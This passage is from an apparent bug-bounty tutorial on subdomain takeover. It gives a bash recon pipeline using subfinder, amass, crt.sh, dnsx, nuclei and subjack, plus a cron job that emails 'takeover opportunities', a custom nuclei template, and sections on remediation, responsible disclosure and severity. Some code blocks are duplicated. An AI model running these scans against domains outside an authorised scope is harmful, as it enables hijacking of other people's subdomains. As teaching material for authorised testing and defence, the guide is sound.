cat $OUTPUT/takeover/nuclei.txt $OUTPUT/takeover/subjack.txt | sort -u#!/bin/bash
# takeover-scan.sh — Full automated pipeline
TARGET=$1
OUTPUT="results_${TARGET}"
mkdir -p $OUTPUT/{recon,dns,takeover}
echo "[*] Starting recon for $TARGET"
# Passive enumeration
subfinder -d $TARGET -all -silent -o $OUTPUT/recon/subfinder.txt &
amass enum -passive -d $TARGET -o $OUTPUT/recon/amass.txt &
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | jq -r '.[].name_value' | \
sort -u > $OUTPUT/recon/crtsh.txt &
wait
# Merge
cat $OUTPUT/recon/*.txt | sort -u > $OUTPUT/recon/all.txt
echo "[*] Found $(wc -l < $OUTPUT/recon/all.txt) subdomains"
# Resolve
cat $OUTPUT/recon/all.txt | dnsx -silent -o $OUTPUT/dns/resolved.txt
echo "[*] $(wc -l < $OUTPUT/dns/resolved.txt) subdomains resolved"
# Get CNAMEs
cat $OUTPUT/dns/resolved.txt | dnsx -cname -silent -o $OUTPUT/dns/cnames.txt
# Run nuclei takeover templates
nuclei -l $OUTPUT/dns/resolved.txt \
-t ~/nuclei-templates/takeovers/ \
-o $OUTPUT/takeover/nuclei.txt \
-severity medium,high,critical \
-silent
# Run subjack
subjack -w $OUTPUT/dns/resolved.txt \
-t 100 -timeout 30 -ssl \
-o $OUTPUT/takeover/subjack.txt
echo "[+] Done! Results in $OUTPUT/takeover/"
cat $OUTPUT/takeover/nuclei.txt $OUTPUT/takeover/subjack.txt | sort -u10.2 Continuous Monitoring
# Set up a cron job for continuous monitoring
cat > monitor.sh << 'EOF'
#!/bin/bash
TARGET=$1
PREV="previous_subdomains.txt"
CURRENT="current_subdomains.txt"
subfinder -d $TARGET -all -silent -o $CURRENT
# Find new subdomains since last run
if [ -f $PREV ]; then
NEW=$(comm -13 <(sort $PREV) <(sort $CURRENT))
if [ -n "$NEW" ]; then
echo "$NEW" | dnsx -cname -silent | tee new_cnames.txt
nuclei -l new_cnames.txt -t ~/nuclei-templates/takeovers/ \
| mail -s "New Takeover Opportunities: $TARGET" you@youremail.com
fi
fi
cp $CURRENT $PREV
EOF
# Run every 6 hours
echo "0 */6 * * * /bin/bash /path/to/monitor.sh $TARGET" | crontab -# Set up a cron job for continuous monitoring
cat > monitor.sh << 'EOF'
#!/bin/bash
TARGET=$1
PREV="previous_subdomains.txt"
CURRENT="current_subdomains.txt"
subfinder -d $TARGET -all -silent -o $CURRENT
# Find new subdomains since last run
if [ -f $PREV ]; then
NEW=$(comm -13 <(sort $PREV) <(sort $CURRENT))
if [ -n "$NEW" ]; then
echo "$NEW" | dnsx -cname -silent | tee new_cnames.txt
nuclei -l new_cnames.txt -t ~/nuclei-templates/takeovers/ \
| mail -s "New Takeover Opportunities: $TARGET" you@youremail.com
fi
fi
cp $CURRENT $PREV
EOF
# Run every 6 hours
echo "0 */6 * * * /bin/bash /path/to/monitor.sh $TARGET" | crontab -10.3 Custom Nuclei Template
# custom-takeover.yaml
id: custom-service-takeover
info:
name: Custom Service Subdomain Takeover
author: yourname
severity: high
tags: takeover,dns
dns:
- name: "{{FQDN}}"
type: CNAME
matchers-condition: and
matchers:
- type: word
words:
- "customservice.io"
part: answer
- type: word
words:
- "NXDOMAIN"
part: raw# custom-takeover.yaml
id: custom-service-takeover
info:
name: Custom Service Subdomain Takeover
author: yourname
severity: high
tags: takeover,dns
dns:
- name: "{{FQDN}}"
type: CNAME
matchers-condition: and
matchers:
- type: word
words:
- "customservice.io"
part: answer
- type: word
words:
- "NXDOMAIN"
part: raw11. Remediation
For defenders, the fix is straightforward:
# Audit all DNS records
# For each CNAME, verify the target still exists and is owned by you
# Remove dangling records immediately
# AWS Route53:
aws route53 change-resource-record-sets \
--hosted-zone-id ZONE_ID \
--change-batch '{
"Changes": [{
"Action": "DELETE",
"ResourceRecordSet": {
"Name": "sub.victim.com",
"Type": "CNAME",
"TTL": 300,
"ResourceRecords": [{"Value": "victim.github.io"}]
}
}]
}'
# Implement DNS monitoring (e.g., with this script):
# For every DNS record, periodically check if the CNAME target resolves
# Alert on NXDOMAIN for any external CNAME
# Use short TTLs for external CNAMEs (300s max)
# Decommission checklist: always remove DNS before deprovisioning cloud resources# Audit all DNS records
# For each CNAME, verify the target still exists and is owned by you
# Remove dangling records immediately
# AWS Route53:
aws route53 change-resource-record-sets \
--hosted-zone-id ZONE_ID \
--change-batch '{
"Changes": [{
"Action": "DELETE",
"ResourceRecordSet": {
"Name": "sub.victim.com",
"Type": "CNAME",
"TTL": 300,
"ResourceRecords": [{"Value": "victim.github.io"}]
}
}]
}'
# Implement DNS monitoring (e.g., with this script):
# For every DNS record, periodically check if the CNAME target resolves
# Alert on NXDOMAIN for any external CNAME
# Use short TTLs for external CNAMEs (300s max)
# Decommission checklist: always remove DNS before deprovisioning cloud resourcesBest Practices:
- Always delete DNS records before deprovisioning services
- Audit DNS zones quarterly using automated tooling
- Implement a DNS change approval process
- Use services that auto-claim subdomains (e.g., GitHub's
CNAMEownership verification) - Monitor certificate transparency logs for unexpected certs on your subdomains
12. Responsible Disclosure
When you find a subdomain takeover:
- Document everything — screenshots, DNS output, HTTP responses
- Don't deploy anything malicious — a simple
<h1>PoC</h1>is enough - Report immediately via the program's security contact or bug bounty platform
- Include: subdomain, CNAME chain, vulnerable service, reproduction steps, and impact assessment
- Wait for fix confirmation before publishing
Typical Severity Ratings
Scenario Severity Static content only, no cookies Low Cookie theft possible (HttpOnly off) High OAuth redirect possible Critical NS zone takeover Critical Internal tool subdomain High Email/MX takeover Critical
Conclusion
Subdomain takeover remains one of the most consistently rewarded bugs in bug bounty programs because it's widespread, impactful, and often overlooked by organizations. The attack surface grows every time a service is deprovisioned without cleaning up DNS.
As a researcher:
- Automate recon to stay ahead of targets
- Focus on NS and MX takeovers — they're rarer but critical
- Chain takeovers with CORS, OAuth, and XSS for higher impact
- Always disclose responsibly
Happy hunting — and always stay in scope.
References: HackerOne Hacktivity, ProjectDiscovery Blog, can-i-take-over-xyz GitHub repo, OWASP Testing Guide